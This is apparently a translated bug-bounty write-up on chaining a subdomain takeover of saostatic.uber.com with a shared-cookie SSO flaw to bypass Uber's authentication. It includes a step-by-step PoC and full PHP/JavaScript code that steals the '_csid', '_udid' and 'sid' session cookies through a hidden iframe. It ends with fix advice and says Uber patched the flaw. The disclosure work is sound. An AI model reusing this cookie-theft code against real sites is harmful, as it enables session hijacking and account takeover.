Uber的saostatic.uber.com节点存在安全漏洞,攻击者可以利用该漏洞通过Amazon CloudFront CDN实现子域名接管。除此之外,Uber近期在auth.uber.com部署的单点登录(SSO)系统中也存在安全问题。这种SSO系统可以通过在所有*.uber.com子域名之间共享cookie来实现单点登录,但其中存在的安全问题将允许攻击者通过任意一个被入侵的*.uber.com子域名来窃取会话cookie。因此,之前的子域名接管问题将会提升为Uber SSO系统的身份认证绕过问题。目前,Uber已经修复了这个子域名接管漏洞,并且专门为这两个安全问题提供了5000美金的漏洞奖金。
单点登录系统(SSO)的安全问题
一般来说,单点登录系统主要有以下三种类型:
1. OAuth:认证的安全性主要是通过在白名单中设置服务提供者的URL回调地址实现的,其中CSRF保护是通过“state”参数实现的,可能存在的漏洞一般是开放重定向链。【案例】
2. SAML&Friends:安全性是基于XML信息加密实现的,加密使用的是服务与识别提供商之间预交换的加密密钥,可能存在的漏洞一般是XML签名绕过。【案例】
3. 子域名之间共享会话cookie:这类SSO系统的安全性取决于所有子域名的整体安全性。任何一个子域名中如果存在漏洞的话,攻击者将有可能窃取到SSO系统的共享会话cookie,可能存在的漏洞一般是远程代码执行漏洞、调式日志泄露和子域名接管等等。【案例】
我个人认为,前两种单点登录系统以前确实存在很多安全问题,但现在这两类系统的安全性都已经得到了很大程度的提升。相比来说,第三种SSO系统出现得比前两种都要早。从设计角度来看,任何需要利用SSO系统完成认证的节点都必须是同一个顶级域名下的子域名,由于这种SSO系统的安全性取决于所有子域名的整体安全性,所以这类SSO系统的攻击面也非常广。
Uber案例
在此之前,Uber使用的是OAuth来作为*.uber.com子域名的SSO系统,但近期他们将*.uber.com子域名的SSO系统换成了基于共享会话cookie的SSO系统。如果你现在访问任何一个需要进行身份验证的uber.com子域名的话,你都会被重定向到auth.uber.com。当你在这个节点完成登录之后再访问其他子域名的话,你相当于通过SSO系统登陆了auth.uber.com,因为当用户登录了一次之后,SSO系统便会为每一个*.uber.com子域名发送临时会话cookie。
但是研究人员在Uber的这个SSO系统中发现了一个安全漏洞,当目标用户在SSO系统中完成了身份验证之后,该漏洞将允许攻击者窃取auth.uber.com发送给任意uber.com子域名的有效会话cookie。不过Uber也采取了一些措施来防止这种事情的发生,但这些措施都可以被绕过。再加上研究人员报告的子域名接管漏洞,这将意味着任何被入侵的*.uber.com子域名都可以用来执行这种SSO认证绕过攻击。
子域名接管
子域名saostatic.uber.com指向的是Amazon Cloudfront CDN(通过DNS CNAME记录),但是主机名并没有进行过注册,这也就意味着我可以完全接管这个域名。在进行了一番探索之后,我成功接管了Uber的一个子域名,并上传了一个简单的HTML页面来作为PoC:
认证绕过
在Uber的SSO系统中,auth.uber.com作为一个身份提供者给https://*.uber.com提供临时共享会话cookie,并与服务提供者(例如riders.uber.com, partners.uber.com, central.uber.com, vault.uber.com和developer.uber.com等等)进行身份信息的验证。服务提供者在自己的节点中立刻清除传入的临时共享会话cookie来降低cookie被窃取的可能性。下图显示的是Uber SSO系统的用户登录流程:
因此,共享会话cookie“_csid”只能在第九步至第十二步之间被窃取,而这是一个间隔非常短的时间周期,虽然这并非不能实现,但我们还发现了另一种更加容易利用的漏洞。在这个漏洞的帮助下,我们可以让共享会话cookie在第十二步之后仍然保存在浏览器的cookie记录中。问题就在于,如果目标用户已经在https://riders.uber.com节点完成了登录,那么此时当这个用户又接收到了一个从auth.uber.com发来的新生成的有效共享会话cookie“_csid”时,这个新的cookie将会被忽略,并且仍保持有效。由于在浏览器清除保存的cookie内容之前,这个被忽略的cookie将一直有效,因此攻击者就可以通过重放上图的第三步并在第十三步的请求中添加一个指向https://saostatic.uber.com的隐藏请求,他们就可以窃取到宝贵的会话cookie了:
当攻击者得到了目标用户的共享会话cookie“_csid”(例如https://riders.uber.com的cookie)之后,攻击者就可以在他们自己的浏览器中完成正常的登录流程,即替换上图中第九步的“_csid” cookie值并冒充用户进行登录。不过别着急,这只是理想状态,因为Uber在这里还采取了一种名叫登录跨站请求伪造保护的应对措施。下面给出的是更新后的Uber SSO登录流程:
问题就在于这里的GET参数state=CSRFTOKEN,而状态cookie是服务提供者https://riders.uber.com在第三步中添加的,并在第十一步进行验证。由于我们无法从目标用户的浏览器中窃取这些cookie值,但我们的目标又是共享会话cookie“_csid”,那这是否就意味着Game Over了呢?
当然不是!因为攻击者可以通过正常的登录操作从https://riders.uber.com获取到正确的CSRFTOKEN值(state cookie),那么攻击者就能够在自己的浏览器中将https://riders.uber.com在第三步生成的auth.uber.com URL链接转发至目标用户的流啊理念其中,然后生成并窃取共享会话cookie “_csid”,最后按照第九步的操作将这些窃取来的值注入到自己浏览器的登录场景中。通过这种方法,目标用户将会生成临时会话令牌"_csid",而攻击者就可以在另一个浏览器中利用这个token。攻击的实现过程如下图所示:
PoC
再多的流程图也比不过一个PoC来得清楚。
攻击演示流程:
1. 打开目标用户的浏览器,访问https://riders.uber.com。在被重定向到了https://auth.uber.com之后,使用用户的凭证完成登录,最终重新回到https://riders.uber.com仪表盘。
2. 在目标用户的浏览器中打开另一个网页标签,访问https://saostatic.uber.com/prepareuberattack.php。无论弹出什么对话框,都点击“接受”,页面完成加载之后,你就可以看到底部会出现一个URL、“Cookie:”和“Set-Cookie:”,这便是我们自动窃取来的所有登录信息。
3. 打开攻击者的浏览器,然后设置一个拦截代理来拦截请求和响应信息。访问prepareuberattack.php页面输出的URL链接,然后拦截请求。最后,将prepareuberattack.php页面中显示的“Cookie:”信息拷贝到请求头中。
4. 响应信息应该是指向https://riders.uber.com/trips的重定向链接,这表明我们成功绕过了Uber的身份认证。接下来,在响应信息到达浏览器之前将“Set-Cookie:”所有的内容拷贝到响应信息中,这样将保证窃取来的cookie永久注入到了攻击者的浏览器中。
5. 现在,攻击者就已经在自己的浏览器中以目标用户的身份完成了登录。
攻击演示视频如下:
视频地址: https://youtu.be/0LoQ1rZfyP4
在真实的攻击场景中,攻击者可以在目标用户的浏览器中(例如通过iframe)悄悄加载https://saostatic.uber.com/prepareuberattack.php。攻击者可以直接将窃取来的cookie信息保存在服务器端,而无须显示在prepareuberattack.php页面中。下面给出的是页面https://saostatic.uber.com/prepareuberattack.php和页面https://saostatic.uber.com/uberattack.php的代码。虽然代码写的不是很好,但它的功能是没问题的:
prepareuberattack.php
function HandleHeaderLine( $curl, $header_line ) {
preg_match("/state=([^;]*);/", $header_line, $matches);
if(sizeof($matches) > 0) {
print("var cookiestate = '" . $matches[1] . "';\n");
}
preg_match("/Location: (.*)/", $header_line, $matches);
if(sizeof($matches) > 0) {
print("var loc = '" . trim($matches[1]) . "';\n");
}
return strlen($header_line);
}
$c = curl_init('https://riders.uber.com');
curl_setopt($c, CURLOPT_VERBOSE, 1);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_HEADERFUNCTION, "HandleHeaderLine");
$page = curl_exec($c);
?>
var csrf = loc.substring(loc.lastIndexOf("=")+1);
var img = document.createElement("IMG");
img.onerror = function () {
var iframe = document.createElement("iframe");
iframe.setAttribute("src","https://saostatic.uber.com/uberattack.php?cookiestate=" + encodeURIComponent(cookiestate) + "&csrftoken=" + csrf);
iframe.setAttribute("width", "100%");
iframe.setAttribute("height", "10000");
document.body.appendChild(iframe);
}
img.src=loc;
uberattack.php
$cookiestring = "state=" . $_GET["cookiestate"] . "; ";
$interestincookies = array("_udid", "_csid", "sid");
foreach ($_COOKIE as $name => $value) {
if (in_array($name,$interestincookies)) {
$cookiestring = $cookiestring . $name . "=" . str_replace(' ', '+', $value) . "; ";
$cookiestringset = $cookiestringset . "Set-Cookie: " . $name . "=" . str_replace(' ', '+', $value) . ";";
}
}
print "Url: " . 'https://riders.uber.com/?state=' . urlencode($_GET["csrftoken"]) . "";
print "Cookie: " . $cookiestring . "";
print "" . $cookiestringset . "";
?>
第一个文件可以托管在任何地方,第二个文件必须托管在劫持的子域名中。我们可以将这两份PHP文件中的“riders.uber.com”改为其他的Uber子域名,例如vault.uber.com、partners.uber.com和developer.uber.com。
修复建议
我们提供给Uber的建议主要有以下两个方面:
1. 通过移除指向AWS CloudFront CDN的无效CNAME记录来解决saostatic.uber.com的子域名接管问题。
2. 通过以下几种方法解决身份认证绕过问题:
a) 将SSO系统恢复为使用OAuth 2协议;
b) 引入IP地址检测机制;
c) 将所有的*.uber.com子域名加入Uber的漏洞奖励计划范畴;
最终,Uber移除了不安全的CNAME记录,并通过引入IP地址检测机制来降低了Uber SSO系统的攻击面。
|